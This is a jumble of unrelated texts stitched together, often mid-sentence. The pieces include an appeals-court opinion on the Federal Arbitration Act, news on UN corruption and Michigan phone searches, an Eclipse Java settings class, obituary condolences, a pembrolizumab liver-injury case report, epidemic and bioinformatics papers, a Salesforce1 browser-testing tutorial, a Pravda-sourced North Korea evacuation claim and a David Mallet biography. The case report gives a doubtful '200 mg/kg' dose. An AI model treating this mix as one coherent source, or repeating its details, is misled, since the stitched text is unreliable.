(1984). The FAA accomplishes this by assuring that when parties to commercial
transactions agree to resolve their disputes through arbitration, such provisions will be
“valid, irrevocable, and enforceable,” subject only to ordinary grounds that “exist at
law or in equity for the revocation of any contract.” Doctor’s Associates, Inc. v.
Casarotto, 517 U.S. 681, 683 (1996) (quoting 9 U.S.C. § 2). Thus, the FAA aspires
to ensure that commercial arbitration agreements, like other contracts, “are enforced
according to their terms.” First Options of Chicago, Inc. v. Kaplan, 514 U.S. 938, 947
(1995) (additional citations omitted).
The FAA “is something of an anomaly in the field of federal-court jurisdiction.”
Moses H. Cone Mem’l Hosp. v. Mercury Constr. Corp., 460 U.S. 1, 25 n.32 (1983).
The FAA does not itself confer jurisdiction. See id. Instead, when a party to an
arbitration agreement seeks to have a federal court enforce its provisions, an
independent jurisdictional basis is required. See id.; Pryner v. Tractor Supply Co., 109
F.3d 354, 359 (7th Cir.), cert. denied, 118 S. Ct. 294 (1997) (arbitration act might be
better regarded “not as a source of jurisdiction at all but merely as a prescription of
procedures for a class of cases otherwise within federal jurisdiction”). Here, there is
no dispute that the requirements for diversity jurisdiction have been met.
Concluding that its review was governed exclusively by the FAA, the district
court held that it could modify the award only pursuant to its provisions. See
Memorandum Opinion and Order at 10. On appeal, Computer Sciences and its amicus
curiae argue that the court erred in applying the FAA in light of the choice-of-law
clause set forth above which provides that the agreement is to be governed by and
construed under Minnesota law “to the extent not preempted by . . . federal law,” and
the provision within paragraph 7 of the agreement that the arbitrators “shall be bound
-6-
by controlling law.” Thus, it is argued, the court should have applied the Minnesota
Uniform Arbitration Act rather than the FAA and should have reviewed Computer
Sciences’s application for modification and confirmation of the award thereunder in
conjunction with controlling Minnesota common law regarding judicial review of
arbitration awards.
In Volt Information Sciences, Inc. v. Board of Trustees of Leland Stanford Junior
Univ., 489 U.S. 468 (1989), the Supreme Court affirmed a California state court’s
construction of a choice-of-law clause to mean that the parties intended the California
rules of arbitration, rather than the FAA, to govern their dispute. See id. at 473. In so
doing, the Court stated:
But it does not follow that the FAA prevents the enforcement of
agreements to arbitrate under different rules than those set forth in the Act
itself. Indeed, such a result would be quite inimical to the FAA’s primary
purpose of ensuring that private agreements to arbitrate are enforced
according to their terms. Arbitration under the Act is a matter of consent,
not coercion, and parties are generally free to structure their arbitration
agreements as they see fit. Just as they may limit by contract the issues
which they will arbitrate, so too may they specify by contract the rules
under which that arbitration will be conducted.
Id. at 479 (citation omitted).
In Mastrobuono v. Shearson Lehman Hutton, Inc., 514 U.S. 52 (1995), the
parties had entered into an agreement which included both a state choice-of-law clause
and an arbitration provision stating that disputes would be resolved under the rules of
the National Association of Securities Dealers (NASD). Whereas NASD rules permit
arbitrators to award punitive damages, New York law does not. See id. at 58-59. In
holding that the agreement did not preclude an award of punitive damages, the Court
seemed to limit the reach of Volt to its facts:
-7-
The dissent makes much of the similarity between this choice-of-law
clause and the one in Volt, which we took to incorporate a California
statute allowing a court to stay arbitration pending resolution of related
litigation. In Volt, however, we did not interpret the contract de novo.
Instead, we deferred to the California court’s construction of its own
state’s law. 489 U.S., at 474, 109 S. Ct., at 1253 (“the interpretation of
private contracts is ordinarily a question of state law, which this Court
does not sit to review”). In the present case, by contrast, we review a
federal court’s interpretation of this contract, and our own interpretation
accords with that of the only decision-maker arguably entitled to
deference—the arbitrator.
Id. at 60 n.4 (emphasis in original). Thus, the Court concluded:
At most, the choice-of-law clause introduces an ambiguity into an
arbitration agreement that would otherwise allow punitive damage
awards. . . . [W]hen a court interprets such provisions in an agreement
covered by the FAA, “due regard must be given to the federal policy
favoring arbitration, and ambiguities as to the scope of the arbitration
clause itself resolved in favor |
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] | for assistance in real estate deals and other business interests.
The case is highly embarrassing to the United Nations, which had vowed to act with greater transparency and accountability after past scandals. Mr. Ashe is the most senior diplomat to be accused of such graft, and it remains unclear whether the case will prompt the organization to review how it elects leaders of the General Assembly. It is different from the oil-for-food program scandal in Iraq a decade ago, when an independent commission found widespread abuse.
Secretary General Ban Ki-moon said through his spokesman that he was “shocked and deeply saddened” at the accusations of corruption.ACLU seeks information on Michigan program that allows cops to download information from smart phones belonging to stopped motorists.
TheNewspaper
The Michigan State Police have a high-tech mobile forensics device that can be used to extract information from cell phones belonging to motorists stopped for minor traffic violations. The American Civil Liberties Union (ACLU) of Michigan last Wednesday demanded that state officials stop stonewalling freedom of information requests for information on the program.
ACLU learned that the police had acquired the cell phone scanning devices and in August 2008 filed an official request for records on the program, including logs of how the devices were used. The state police responded by saying they would provide the information only in return for a payment of $544,680. The ACLU found the charge outrageous.
“Law enforcement officers are known, on occasion, to encourage citizens to cooperate if they have nothing to hide,” ACLU staff attorney Mark P. Fancher wrote. “No less should be expected of law enforcement, and the Michigan State Police should be willing to assuage concerns that these powerful extraction devices are being used illegally by honoring our requests for cooperation and disclosure.”
Read Full Article/*******************************************************************************
* Copyright (c) 2015, 2018 IBM Corporation and others.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License 2.0
* which accompanies this distribution, and is available at
* https://www.eclipse.org/legal/epl-2.0/
*******************************************************************************/
package org.eclipse.tm.terminal.connector.remote.internal;
import org.eclipse.tm.internal.terminal.provisional.api.ISettingsStore;
import org.eclipse.tm.terminal.connector.remote.IRemoteSettings;
@SuppressWarnings("restriction")
public class RemoteSettings implements IRemoteSettings {
protected String connectionTypeId;
protected String connectionName;
public RemoteSettings() {
}
@Override
public String getConnectionName() {
return connectionName;
}
@Override
public String getConnectionTypeId() {
return connectionTypeId;
}
public String getSummary() {
return "Remote:" + getConnectionTypeId() + '_' + getConnectionName(); //$NON-NLS-1$
}
@Override
public String toString() {
return getSummary();
}
/**
* Load information into the RemoteSettings object.
*/
public void load(ISettingsStore store) {
connectionTypeId = store.get(CONNECTION_TYPE_ID, ""); //$NON-NLS-1$
connectionName = store.get(CONNECTION_NAME, ""); //$NON-NLS-1$
}
/**
* Extract information from the RemoteSettings object.
*/
public void save(ISettingsStore store) {
store.put(CONNECTION_TYPE_ID, connectionTypeId);
store.put(CONNECTION_NAME, connectionName);
}
public void setConnectionName(String name) {
connectionName = name;
}
public void setConnectionTypeId(String id) {
connectionTypeId = id;
}
}
To the Brittain family, I am sorry to hear of the passing of your dear loved one, he will be greatly missed. Ernest was blessed to live a very long, fruitful life. Psalms 90:10 says that those who live to be 80 and older have "extra strength", Ernest had that extra strength. May you keep fond memories of him always in your heart as you seek the peace and comfort that only God can give during times of distress.
Mel Smith
February 24, 2013
0
1
Im sorry for the lost of your dear loved one. May the god of all comfort comfort you in your time of need.
Emma
February 23, 2013
0
1
May we all wait patiently for the new world where there will be no more sickness, old age and death.
February 22, 2013 | GA
0
1
One of the sweetest men I ever knew. Although I had not seen him in years I always remembered him in his overalls and working working working...he loved it. And, we love him. Rest in Peace Sweet Man.
Brandi Coffey
February 21, 2013 | Connelly Springs, NC
0
1
May God bless you and your family in this time of sorrow.
February 21, 2013
0
1
As the days and weeks pass, and as you return to life's routine, may you continue to feel comforted by the love and support of family and friends.
Janet Hullette-Jones
February 20, 2013 | Knoxville, TN
0
1
As the days and weeks pass, and as you return to life's routine, may you continue to feel comforted by the love and support of family and friends.Introduction
============
The development and rapid advance of immunotherapy, especially of immune checkpoint inhibitors targeting programmed death-1 (PD-1) and PD-1 ligand (PD-L1), have dramatically changed the therapeutic strategy of non-small-cell lung cancer (NSCLC). In certain previous reports, anti-PD-1 antibodies (nivolumab and pembrolizumab) and anti-PD-L1 antibodies (atezolizumab and durvalumab) have shown effects of improving the progression-free and overall survival of NSCLC patients ([@B1]-[@B4]). However, a high occurrence of immune-related adverse events (irAEs) has been reported, and such severe toxicities can become life-threatening ([@B5]). Furthermore, it is difficult to manage irAEs in some cases because their underlying pathogeneses are not fully understood.
We herein report the case of a patient with lung adenocarcinoma who developed severe hepatotoxicity following the administration of pembrolizumab and whose pathological findings revealed cholestatic liver injury.
Case Report
===========
A 48-year-old man with a 28-year history of smoking was referred to our hospital because of an abnormal shadow in the left lung. He was diagnosed with lung adenocarcinoma in the left upper lobe with left adrenal metastasis (cT2aN2M1b, Stage IVA) that did not harbor an epidermal growth factor receptor mutation or the echinoderm microtubule-associated protein-like 4-anaplastic lymphoma kinase fusion gene, however, it showed a tumor proportion score of PD-L1 of 1-49%.
Four cycles of first-line therapy using cisplatin, pemetrexed and bevacizumab were administered, followed by pemetrexed and bevacizumab as maintenance therapy. After two cycles of such therapy, an increase in the size of the primary lesion was observed. Therefore, the patient was treated with pembrolizumab (200 mg/kg every 3 weeks) as second-line therapy. Eleven days after the second administration of pembrolizumab, he presented a fever and progressive fatigue and was admitted to our hospital.
His conjunctiva and his skin were icteric. Laboratory examinations revealed the following: aspartate aminotransferase (AST) 413 U/L, alanine transaminase (ALT) 175 U/L, alkaline phosphatase (ALP) 1,033 U/L, gamma-glutamyl transpeptodase (γ-GTP) 649 U/L, total bilirubin 5.4 mg/dL (including 3.9 mg/dL direct bilirubin) with a deranged coagulation profile (platelets 27,000 /μL and fibrin degradation products 61.3 μg/mL). Neither a viral etiology (hepatitis B and C virus or cytomegalovirus) nor autoimmune origin (antinuclear and antimitochondrial antibodies) were proven.
On admission, chest X-ray showed a nodular shadow in the left upper lung field ([Fig. 1A](#g001){ref-type="fig"}). Thoracic computed tomography revealed a 2.6×3.0 cm nodular shadow in the left upper lobe ([Fig. 1B](#g001){ref-type="fig"}). Splenomegaly was detected on enhanced abdominal computed tomography (CT), although dilatation of the bile duct and thickening of the gallbladder wall were not observed ([Fig. 1C](#g001){ref-type="fig"}). Abdominal ultrasonography showed a finding suggesting a fatty liver. The patient denied having consumed alcohol recently, and there had been no recent changes in his medication, except for pembrolizumab.
![A: Chest X ray showing a nodular shadow in the left upper lung field. B: Thoracic CT showing a nodular shadow with spicula in the left upper lobe. |
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5044,
21068
] | as the initial time and repeating the processes as in ([33](#EEq15){ref-type="disp-formula"})--([35](#EEq17){ref-type="disp-formula"}), we can have that (*S*(*t*), *E*(*t*), *I*(*t*))^*T*^ \> 0, for all *t* \> *m* ~1~ *ω*. Thus, (*S*(*t*), *E*(*t*), *I*(*t*)) ∈ *X* ~0~, for all *t* \> *m* ~1~ *ω*. There appears a contradiction, which means that the equality ([37](#EEq18){ref-type="disp-formula"}) holds. Therefore, *E* ~0~ is acyclic in ∂*X* ~0~. Obviously, when *R* ~0~ \> 1 and *r* \> *m* + *μ*, *O* is acyclic in ∂*X* ~0~.Furthermore, by [Lemma 5](#lem3.2){ref-type="statement"}, *E* ~0~ = (*N* ^0^, 0,0) and *O* = (0,0, 0) are isolated invariant sets in *X*, *W* ^*S*^(*E* ~0~)∩*X* ~0~ = *∅*, and *W* ^*S*^(*O*)∩*X* ~0~ = *∅*. By Theorem 1.3.1 and Remark 1.3.1 in \[[@B46]\], it can be obtained that *P* is uniformly persistent with respect to (*X* ~0~, ∂*X* ~0~); that is, there exists a *δ* \> 0 such that any solution (*S*(*t*), *E*(*t*), *I*(*t*)) of system ([11](#EEq8){ref-type="disp-formula"}) with the initial value (*S*(0), *E*(0), *I*(0))∈{(*S*, *E*, *I*) ∈ *X* : *E* \> 0, *I* \> 0} satisfies $$\begin{matrix}
{\underset{t\rightarrow\infty}{\liminf}\, E\left( t \right) \geq \delta,\quad\quad\underset{t\rightarrow\infty}{\liminf}\, I\left( t \right) \geq \delta.} \\
\end{matrix}$$Applying Theorem 1.3.6 in \[[@B46]\], *P* has a fixed point $$\begin{matrix}
{\left( {S^{\ast}\left( 0 \right),E^{\ast}\left( 0 \right),I^{\ast}\left( 0 \right)} \right) \in X_{0}.} \\
\end{matrix}$$From ([33](#EEq15){ref-type="disp-formula"}), we know *S*\* \> 0, for all *t* ∈ \[0, *ω*\]. *S*\*(*t*) is also more than zero for all *t* \> 0 due to the periodicity. Similarly, for all *t* ≥ 0, *E*\*(*t*) \> 0, *I*\*(*t*) \> 0. Therefore, it can be obtained that one of the positive *ω*-periodic solutions of system ([11](#EEq8){ref-type="disp-formula"}) is (*S*\*(*t*), *E*\*(*t*), *I*\*(*t*)).
3.4. Numerical Simulations {#sec3.4}
--------------------------
Firstly, we give some notations. If *g*(*t*) is a periodic function with period *ω*, we define $\overset{-}{g} = ({1/\omega})\int_{0}^{\omega}g(t)dt$, *g* ^*l*^ = min~*t*∈\[0,*ω*\]~ *g*(*t*), *g* ^*u*^ = max~*t*∈\[0,*ω*\]~ *g*(*t*). As described in the previous section, $$\begin{matrix}
{R_{1}\left( t \right) = 1 + \frac{\mu\left( {m + \mu} \right)\left( {m + \sigma} \right)\left( {R_{0} - 1} \right)}{m\beta\left( t \right)\left( {m + \sigma + \mu} \right)}.} \\
\end{matrix}$$ So *R* ~1~ ^*l*^ = 1 + *μ*(*m* + *μ*)(*m* + *σ*)(*R* ~0~ ^*l*^ − 1)/*mβ* ^*u*^(*m* + *σ* + *μ*), *R* ~1~ ^*u*^ = 1 + *μ*(*m* + *μ*)(*m* + *σ*)(*R* ~0~ ^*u*^ − 1)/*mβ* ^*l*^(*m* + *σ* + *μ*).
In this section, we adopt *β*(*t*) = *a*\[1 + *b*sin(*πt*/10)\]. Then, applying the numerical simulation to verify the above solution, we give the following conclusion:when *R* ~*d*~ \< 1, *O* is stable;when *R* ~*d*~ \> 1 and *R* ~0~ \< 1, *E* ~0~ is stable; see [Figure 3(a)](#fig3){ref-type="fig"};when *R* ~0~ \> 1 and *r* \> *m* + *μ*, system ([11](#EEq8){ref-type="disp-formula"}) has at least one positive periodic solution; see [Figure 3(b)](#fig3){ref-type="fig"}.
We can give more results about the conditions of existence of the positive periodic solution.(1′)When *R* ~*d*~ \> 1, *R* ~0~ \> 1, and *R* ~*d*~ \< *R* ~1~ ^*u*^, *O* is stable; see Figures [4(a)](#fig4){ref-type="fig"} and [4(b)](#fig4){ref-type="fig"}.(2′)When *R* ~*d*~ \> 1, *R* ~0~ \> 1, and *R* ~*d*~ \> *R* ~1~ ^*u*^, system ([11](#EEq8){ref-type="disp-formula"}) has at least one positive periodic solution, see [Figure 5](#fig5){ref-type="fig"}.
By numerical simulations, we can give that the conditions which ensure the existence of positive periodic solution are *R* ~0~ \> 1 and *r* \> *m* + *μ* or *R* ~*d*~ \> 1, *R* ~0~ \> 1, and *R* ~*d*~ \> *R* ~1~ ^*u*^. In fact, *R* ~*d*~ \> 1, *R* ~0~ \> 1, and *R* ~*d*~ \> *R* ~1~ ^*u*^ are the sufficient conditions for *R* ~0~ \> 1 and *r* \> *m* + *μ*. As a result, the conditions *R* ~0~ \> 1 and *r* \> *m* + *μ* are broader.
4. Discussion {#sec4}
=============
This paper considers a logistic growth system whose birth process incorporates density-dependent effects. This type of model has a rich dynamical behavior and practical significance. By analyzing its equilibria and respective attractive region, we find that the dynamical behavior of a disease will be determined by two thresholds *R* ~0~ and *R* ~*d*~. Only *R* ~0~ \> 1 cannot promise the existence of the endemic equilibrium which also needs *R* ~*d*~ \> *R* ~1~. When *R* ~0~ \> 1 and *R* ~*d*~ \< *R* ~1~, the solutions of the system ([1](#EEq1){ref-type="disp-formula"}) will tend to the origin *O*. It is caused by the phenomenon that the death number due to disease cannot be supplemented by the birth number promptly. Finally, all people are infected and die out. The fact interpreted by this model is more reasonable. Theoretically, we prove the global asymptotic stability of the disease-free equilibrium and give respective attractive regions of equilibria.
Seasonally effective contact rate is the most common form which may be related to various factors, and thus this paper studies the corresponding non-autonomous system which is obtained by changing the constant transmission rate of the above system into the periodic transmission rate. For the periodic systems, their dynamical behaviors, especially the basic reproduction number, have been investigated in depth by \[[@B41], [@B47]--[@B55]\] which provide many methods that we can utilize. For the obtained periodic model, by analyzing the global asymptotic stability of the disease-free equilibrium and the existence of positive periodic solution, we have the similar results as the autonomous system. The dynamic behavior of disease will be decided by two conditions *R* ~0~ \> 1 and *r* \> *m* + *μ* that show that when the disease is prevalent, the birth rate should be larger than the death rate to guarantee the sustainable growth of population. Otherwise, the population will disappear. In addition, we will evaluate and compare the basic reproduction number *R* ~0~ and the average basic reproduction |
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] | of the time?</p>
<p> </p>
<p> </p>
<a name="more"></a>http://mgoblog.com/mgoboard/run-heavy-offense#commentsMGoBoardManballrun it down their throatswisconsinSun, 15 Oct 2017 14:14:49 +0000BlueMk1690118946 at http://mgoblog.comYes, I was at the Iron Maiden show in Atlanta. My travel that day was a clusterf*ck. 3 hour flight delay. I didn't land in Atlanta until the show had already started. I arrived at the venue 10-15 minutes before Iron Maiden started. I walked right down to the pit area & just hung out there for the few minutes until "Doctor Doctor" started to play.Salesforce1 is currently available in the iTunes Store (requires iOS6+) and Google Play Store (requires Android 4.2+). To speed up development, it is relatively simple to work with the Salesforce1 app directly on your desktop using Google Chrome. Here is how it’s done:
1) Allow Salesforce1 Access on Desktop
When logged into Salesforce, ensure Salesforce1 is set up to run as a mobile browser app. This is done through Administer > Mobile Administration > Salesforce1. If the Enable the Salesforce1 mobile browser app option is not already selected, select it and Save.
Next you will want to make sure that your user is set up to allow accessing Salesforce1. Each user has a Salesforce1 User option. Ensure this is checked.
2) Navigate to App
You should now be able to navigate directly to the Salesforce1 app in your browser. To do that, all you need to do is add /one/one.app to the end of your URL of the domain your Salesforce instance is on. So, in my case, my Developer Edition is located on na15, meaning when I log in my URL looks something like https://na15.salesforce.com/home/home.jsp. To navigate to the Salesforce1 app, change the /home/home.jsp to /one/one.app. When I navigate to https://na15.salesforce.com/one/one.app, I get:
3) Change User Agent and Dimensions
As you can tell from the above picture, this doesn’t look correct. You need to manipulate your browser to make it look like a mobile device. One way to do that is to simply just make your browser much smaller. With the responsive design that Salesforce1 uses, this is a valid option. However, this really isn’t ideal as it doesn’t truly simulate what the app would look like on the mobile device (the user agent is different and the dimensions will change based on your browser size). You can do this by utilizing a great feature of Google Chrome.
The first thing you need to do is open up the Developer Tools. The easiest way to do that is to just right-click anywhere on the page and select Inspect Element
This will open up your Developer Tools at either the bottom of the browser or in a different window (depending on the settings you have set up).
In the bottom right hand corner, you will see a small gear that will open up additional options.
You can then select Overrides.
You can now easily Enable the overrides and then specify a User Agent (which should default to the correct dimensions for that device – With that said, you will probably have to change these because the dimensions on the device are for retina displays which will not view properly on a browser).
Once you have this set, your browser should properly display the application. One thing to remember is that you have to keep the Developer Tools open in order to maintain these settings. If you close the Developer Tools, the browser will revert back to the standard Google Chrome.
Note: If you use Google Chrome Canary (bleeding edge version of Chrome w/ absolute latest features), you would be much better off using the new mobile emulation feature. This feature will eventually replace the above setup as well once it is released as part of the standard Google Chrome build.
So there you have it, Salesforce1 in your browser speeding up development and allowing easy access to your application. Now get out there and build some cool apps!
I would like to understand how I can build a site which my customers can access on any device, e.g. desktop, tablet, mobile. For our company website we are using ‘mobile first’ responsive website design to achieve this. With Salesforce1 it looks like I have to offer one URL for my site, for mobile device users, and a different URL for desktop devices. Is this correct, or is it possible to make a Salesforce1 app work on all devices via responsive techniques such as ‘media queries’ ?
Does SF officially support changing the URL in the browser to one/one.app?
I’ve used it for testing but found it doesn’t work at all in Firefox so I used Chrome. I’ve heard that browser recommended but again don’t know if any are officially supported.
From what I understand the SF1 application itself is basically a wrapper around the one/one.app HTML5 interface to SF. It is written using some tools (like phonegap) to allow SF to get access to some of the phone’s capabilities. When testing via a desk-top browser, would think that this capabilities would not be available. Do you know if/what features are in SF1 app itself but not available when using the one/one.app URL from a browser?
The one/one.app is officially supported through the browser, however it is built with different screen sizes/functionality in mind. It also does things a bit differently than the actual Salesforce1 application. While, from what I understand, Salesforce1 is a wrapper of the one/one.app page, there is functionality that is not available, as you have noted. I don’t have a complete list, but basically anything that requires a camera, contact list, phone functionality, etc all won’t work properly.
As far as it not working on Firefox, I haven’t really tested it there. I have only used Chrome.
Hi, This is what I am getting when I am typing (/one/one.app) in the URL from my computer:
You can’t access Lightning Experience
The page you’re trying to access is available from the Salesforce1 mobile app only. Please try again from a supported mobile device. Need help? Ask your Salesforce admin.
However, a few days back I was able to open the Mobile version (/one/one.app) on my computer browner (that saved a lot of time), but now I cannot open it. Is there something I am missing or may have changed?
Angshumit – yes with the release of Winter 16 in Salesforce the /one/one.app no longer emulates the mobile experience but used for Lighting development. The official release notes say to use a emulator to simulate what SF1 looks like. our mobile device are all ipads or iphones – but our laptops are all Windows – currently there is no “official” emulator for iOS from Apple that works on the Windows machine.
i am new to salesforce to start with. I am an apple user by nature but my desktop is a PC and I can navigate Salesforce on my desktop with no problem. I have it on my apple phone but I can’t do a lot on it. My manager is willing to get me an iPad for convenience for traveling but I want to ensure that I can everything on my iPad that I could on my desktop (i.e. quotes, tasks, notes, create contacts, change selling stages, etc.). Is this true? If so, how difficult is it to download and customize? I’m a remote worker and my organization doesn’t support Apple so I’m just curious.
The /one/one.app url is not leading to the mobile version in the browser instead taking to the lighting version of salesforce. Is there a way to access the mobile on browser ? This would be very helpful to share the mobile screens during demo
Dear Sirs,
I was wondering whether I can download the application to my organisation´s PC and work from there, or while at home, and then go back to my mobile when I’m out.
Should it be possible, where in your webpage may I go to get the applicable directions?
Cheers!
Salvador
Trackbacks/Pingbacks
[…] on mimicking a mobile browser or tips on customizing this further, check out Jesse Altman’s Working with Salesforce1 on the Desktop. For more on Salesforce1, check out our previous post with some useful links, and don’t forget to […]Kim Jong-un orders evacuation of Pyongyang: report
North Korean leader Kim Jong-un ordered 25 percent of Pyongyang residents to leave the city immediately, according to a Russian news outlet on Friday.
The Pravda report said that in accordance with the order, 600,000 people should be urgently evacuated. Experts note that the evacuation will most likely be conducted due to extremely strained tensions in relations with the US.
North Korean leader Kim Jong-un (AP-Yonhap)
Reportedly, Pyongyang's bomb shelters will not be able to accommodate the entire population of the North Korean capital. Therefore, 600,000 people - mostly individuals with criminal records - will |
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] | 5 March 1735 he received, at his request, the degree of M.A. from the University of Edinburgh, and on the 15th of that month he graduated B.A., and on 6 April M.A. of the University of Oxford. He was again abroad in 1735.
Mallet came into favour with the opposition, and was appointed, 27 May 1742, under-secretary to the Prince of Wales. In 1745 he made a tour in Holland.
Mallet was rewarded in 1763 by Lord Bute, to whom he had given fulsome praise, with the post of inspector of exchequer-book in the outports of London, a sinecure which he held till his death. In the autumn of the following year he joined his wife Lucy in Paris, but ill health compelled him to return to London. He died on Sunday, 21 April 1765 and was buried on 27 April in St. George's cemetery, South Audley Street.
Works
Mallet published a Pastoral in the Edinburgh Miscellany in 1720; and during his college days produced a number of short pieces, including an imitation of John Milton entitled The Transfiguration, first published in the Edinburgh Magazine in 1793. Shortly before his engagement with the Montrose family he composed the ballad of William and Margaret which was published first anonymously in black letter, and then in 1724, in Allan Ramsay's Tea-Table Miscellany, and Aaron Hill's Plain Dealer No. 36. Further poems followed, mostly written for John Ker; and in February 1725 he wrote verses on Mira, the Clio of his friend Thomson. For Thomson's poem on Winter, published in March 1726, he wrote a dedication to Sir Spencer Compton, and some verses for the second edition He had himself written, early in 1725, a poem on the same subject, which was praised by Thomson; and on his return from the continent he prepared for the press The Excursion, in two books, which he had written in 1726.
On 22 February 1731 Mallet produced his tragedy of Eurydice at Drury Lane, with a prologue and epilogue by Aaron Hill. It was acted about thirteen times, and was revived in 1759. Mallet showed his appreciation for Pope with his poem on Verbal Criticism (1733), in which he ridiculed Lewis Theobald.
Mallet made more of a reputation with the tragedy of Mustapha, produced at Drury Lane on 13 Feb. 1738–9. The prologue was by Thomson, and the play was dedicated to Frederick, Prince of Wales: like Thomson's Edward and Eleonora, but less openly, it was directed against the king and Sir Robert Walpole. With James Quin as Solyman, it ran for fourteen nights. In 1740 Mallet published a short Life of Bacon; shortly afterwards Mallet and Thomson were commanded by the Prince to write the masque of Alfred, to celebrate both the birthday of the Princess Augusta and the anniversary of George I's accession. It was played in the gardens of Cliefden, before the Prince and Princess of Wales, on Friday, 1 August 1740, with Quin, Christiana Horton, and Kitty Clive in the leading parts.
Sarah Churchill, Duchess of Marlborough left in 1744 the sum of £1,000 to Mallet and Richard Glover, to write a life of her husband; and Mallet, on Glover's refusal, undertook the work. He only did some research. He published, in May 1747, ‘Amyntor and Theodora, or the Hermit.’
Mallet and Thomson had, through George Lyttelton, 1st Baron Lyttelton, support from the Prince of Wales, but then lost it as Lyttelton fell from favour. Mallet then found the patronage of Bolingbroke, and prepared a new edition of the Patriot King, published in 1749; in it he attacked the memory of Pope for having clandestinely edited and printed the work in 1738. There was a short pamphlet war with Pope's friends. He then edited Bolingbroke's works, 5 vols. in March 1754. Samuel Johnson remarked on this enterprise that Bolingbroke had "spent his life in charging a gun against Christianity", and "left half-a-crown to a hungry Scotchman to draw the trigger after his death".
In 1751, three years after the death of Thomson, Mallet published a new version of the masque of 1740. The adaptation was major, with new scenes and songs added. It was acted at Drury Lane on 23 February 1751, with David Garrick in the title rôle. The masque of Britannia, an appeal to patriotic sentiment on the eve of an outbreak of war with France, followed in 1755. It was produced at Drury Lane on 9 May, when Garrick spoke the prologue as a drunken sailor.
On 19 January 1763 Mallet's Elvira was acted at the same venue during the "half-price riots". Garrick took the part of Don Pedro, the last original character in which he was seen; but it provoked a pamphlet of Critical Strictures by James Boswell and two fellow Scots. In the intervening years Mallet had written lesser works, including the ballad of Edwin and Emma (1760), and a partisan indictment by a "Plain Man" against Admiral Byng in 1757. An extract from his The tragedy of Bowes appears in The Bishoprick Garland 1834 by Cuthbert Sharp.
Notes
External links
David Mallet at the Eighteenth-Century Poetry Archive (ECPA)
David Mallet, Scots Poets
David Mallet, Anglo-Scot: poetry, patronage, and politics in the age of union
Category:1705 births
Category:1765 deaths
Category:18th-century Scottish people
Category:18th-century Scottish writers
Category:Alumni of the University of Edinburgh
Category:Anglo-Scots
Category:People of the Scottish Enlightenment
Category:Scottish dramatists and playwrights
Category:Scottish editors
Category:Scottish historians
Category:Scottish Jacobites
Category:Scottish poets
Category:Scottish political writers
Category:Scottish spies
Category:18th-century spiesQ:
How to set threshold of SlowQueryReport interceptor of Tomcat in Spring Boot properties
We need to configure SlowQueryReport Tomcat interceptor in our Spring boot application, specifically threshold value in properties files. Couldn't find anything on the web. Any help?
A:
We used the old syntax (see below, note the given threshold) in the configuration file and it worked:
spring.datasource:
tomcat.jdbc-interceptors: org.apache.tomcat.jdbc.pool.interceptor.SlowQueryReport(threshold=10);any.other.tomcat.Interceptor
Now there's a new contender in the neighborhood -- and the neighborhood isn't California, or New York, or any coast at all.
The Crespi-Hicks estate, on 25 bucolic acres just five minutes from downtown Dallas, recently became the most expensive single-family home for sale in the nation, at $135 million. It has more than 40,000 square feet of living space, including a five-story main house, two guesthouses and a pool house, according to Forbes, and was built for the magnificently named Italian Count Pio Crespi in 1939. The main house is 29,000 square feet of opulence, our friends at Curbed report. And other folks in the neighborhood include business and civic leaders, not least among them former President George W. Bush.Sunday, October 15, 2006
1 Comments:
Hello. I am also from the staes but have been here for many years. I think your Spanish is probably better than mine from your blog. I am a beginner knitter. I went on the computer to look for a store or group to teach me to knit better. I cant knit one more scarf!!!The only thing that came up was your blog. I am hoping that you may know of a store or group. I live in condado and have three daughters. Any help would be appreciated. Thank you, vanessaAbstract
Abstract.
Coexistence of two species of Plasmodium in a single host has disrupted the diagnosis and treatment of malaria. This study was designed to evaluate the ability of rapid diagnostic test (RDT) kits for the diagnosis of mixed-species malaria infections in southeastern Iran. A total of 100 malaria patients were included in the study out of 164 randomly suspected symptomatic malaria patients from May to November 2012. Nested polymerase chain reaction (PCR) was also used to judge the ability of microscopy versus RDT kits for detecting mixed species. The sensitivity of light microscopy for the detection of mixed-species malaria infections was 16.6% (95% confidence interval [CI] = 3–49.1). Nested PCR revealed 12 patients with mixed-species infection. The CareStart Pv/Pf Combo kit detected 58% of the mixed-species infections, which were determined by nested PCR (sensitivity = 58.3%; 95% CI = 28.5–83.5). For identifying P. falciparum, P. vivax, and mixed-species infections, the concordance rates (kappa statistics) of microscopy and CareStart Pv/Pf Combo kit with nested PCR were 0.76 and 0.79, respectively (P = 0.001). This study underlines the effectiveness of RDT kits to improve the |
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79,
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436,
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275,
762,
577,
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2014,
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760,
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281,
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15,
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20,
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292,
355,
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35,
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] | n*~ and its *score* for the *n*-tuple , where 𝔹≔{1, 2, 3, 4} ≡ {*A*, *C*, *G*, *T*} represents the space of four DNA bases. Assuming a prior probability distribution *p*(*b*), *b* = 1,...,4 on 𝔹 and each nucleotide *b*~*i*~ sampled independently from 𝔹, we view the score as a random variable (RV) on 𝔹^*n*^ with the product probability distribution.
With a rounding and appropriate affine transformation of the weights, the computation of the distribution of *S*~*n*~ is reducible to the special case of non-negative integer weights ([Supplementary Materials](http://bioinformatics.oxfordjournals.org/cgi/content/full/btq378/DC1)) In general, the computation of the distribution of the score ([1](#M1){ref-type="disp-formula"}) is known to be an non-deterministic polynomial-time (NP)-hard problem, subsuming the standard NP-hard benchmark of 'sum of the subset' (Touzet and Varre, [@B26]). However, in our special case of integer values of finite magnitude it has linear complexity (Pisinger, [@B21]) and this is what we are leveraging here.
Now we concentrate on determination of distribution of RV *S*~*n*~: where *x* ∈ {0, 1, 2,..., *nU*}, the sum is over all such that and *p*~\*,*n*~(*x*)≔0, if no such exists.
The sum ([2](#M2){ref-type="disp-formula"}) involves 4^*n*^ terms, which in the case of larger motifs, say *n* = 30, results in the number 4^*n*^ ≈ 10^18^ of terms being too many for a naive, direct computation. However, the whole evaluation simplifies if performed recurrently. Namely, for the distribution of the partial sum of the first *j* terms, we have: for 2≤*j*≤*n*. This allows for efficient evaluation of *p*~\*,*n*~ by finding first all intermediate distributions *p*~\*,*j*~, *j* = 1,..., *n* − 1. The whole computation can be performed with ≤2*n*(*U* + 1)(*n* + 2) multiplications and twice as many additions and with minimal memory requirement of *n*(*U* + 1) registers for the storing the values of the distribution. For completeness, we present the explicit algorithm in the [Supplementary Materials](http://bioinformatics.oxfordjournals.org/cgi/content/full/btq378/DC1).[^1^](#FN1){ref-type="fn"}
2.4 Generating the distribution of the ratio of two calibrated PWM scores {#SEC2.4}
